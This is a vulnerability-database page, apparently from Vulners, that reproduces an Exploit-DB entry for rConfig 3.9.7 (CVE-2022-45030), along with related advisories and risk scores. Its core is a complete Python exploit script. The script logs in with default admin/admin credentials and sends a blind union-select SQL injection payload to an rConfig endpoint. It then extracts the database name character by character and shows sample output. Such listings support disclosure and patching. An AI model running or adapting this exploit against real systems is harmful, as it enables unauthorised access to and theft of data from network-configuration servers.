Lucene search
K

rconfig 3.9.7 - Sql Injection (Authenticated)

🗓️ 31 Mar 2023 00:00:00Reported by azhenType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 212 Views

rconfig 3.9.7 - Sql Injection Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
rconfig 3.9.7 - Sql Injection (Authenticated) Exploit
31 Mar 202300:00
zdt
Circl
CVE-2022-45030
15 Apr 202307:26
circl
CNNVD
rConfig SQL注入漏洞
31 Mar 202300:00
cnnvd
CVE
CVE-2022-45030
15 Apr 202300:00
cve
Cvelist
CVE-2022-45030
15 Apr 202300:00
cvelist
EUVD
EUVD-2022-47955
3 Oct 202520:07
euvd
NVD
CVE-2022-45030
15 Apr 202302:15
nvd
OSV
CVE-2022-45030
15 Apr 202302:15
osv
Packet Storm
rconfig 3.9.7 SQL Injection
31 Mar 202300:00
packetstorm
Prion
Sql injection
15 Apr 202302:15
prion
Rows per page
# Exploit Title: rconfig 3.9.7 - Sql Injection (Authenticated)
# Exploit Author: azhen
# Date: 10/12/2022
# Vendor Homepage: https://www.rconfig.com/
# Software Link: https://www.rconfig.com/
# Vendor: rConfig
# Version: <= v3.9.7
# Tested against Server Host: Linux
# CVE: CVE-2022-45030

import requests
import sys
import urllib3
urllib3.disable_warnings()

s = requests.Session()

# sys.argv.append("192.168.10.150") #Enter the hostname

if len(sys.argv) != 2:
    print("Usage: python3 rconfig_sqli_3.9.7.py <host>")
    sys.exit(1)

host=sys.argv[1] #Enter the hostname


def get_data(host):
    print("[+] Get db data...")
    vul_url = "https://"+host+":443/lib/ajaxHandlers/ajaxCompareGetCmdDates.php?deviceId=-1&command='+union+select+concat(1000%2bord(substr({},{},1)),'-1-1')%20--%20"

    query_exp = "database()"
    result_data = ""

    for i in range(1, 100):
        burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate"}
        res = requests.get(vul_url.format(query_exp, i), cookies=s.cookies,verify=False)
        # print(res.text)

        a = chr(int(res.text[6:10]) - 1000)

        if a == '\x00':
            break

        result_data += a
        
        print(result_data)
    
    print("[+] Database name: {}".format(result_data))

    '''
    output:
    [+] Logging in...
    [+] Get db data...
    r
    rc
    rco
    rcon
    rconf
    rconfi
    rconfig
    rconfigd
    rconfigdb
    [+] Database name: rconfigdb        
    '''


def login(host):
    print("[+] Logging in...")
    url = "https://"+host+":443/lib/crud/userprocess.php"
    headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/login.php", "Upgrade-Insecure-Requests": "1"}
    
    data = {"user": "admin", "pass": "admin", "sublogin": "1"} #Use valid set of credentials default is set to admin/admin
    response=s.post(url, headers=headers, cookies=s.cookies, data=data, verify=False)
    get_data(host)

login(host)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Mar 2023 00:00Current
9.1High risk
Vulners AI Score9.1
CVSS 3.18.8
EPSS0.00227
SSVC
212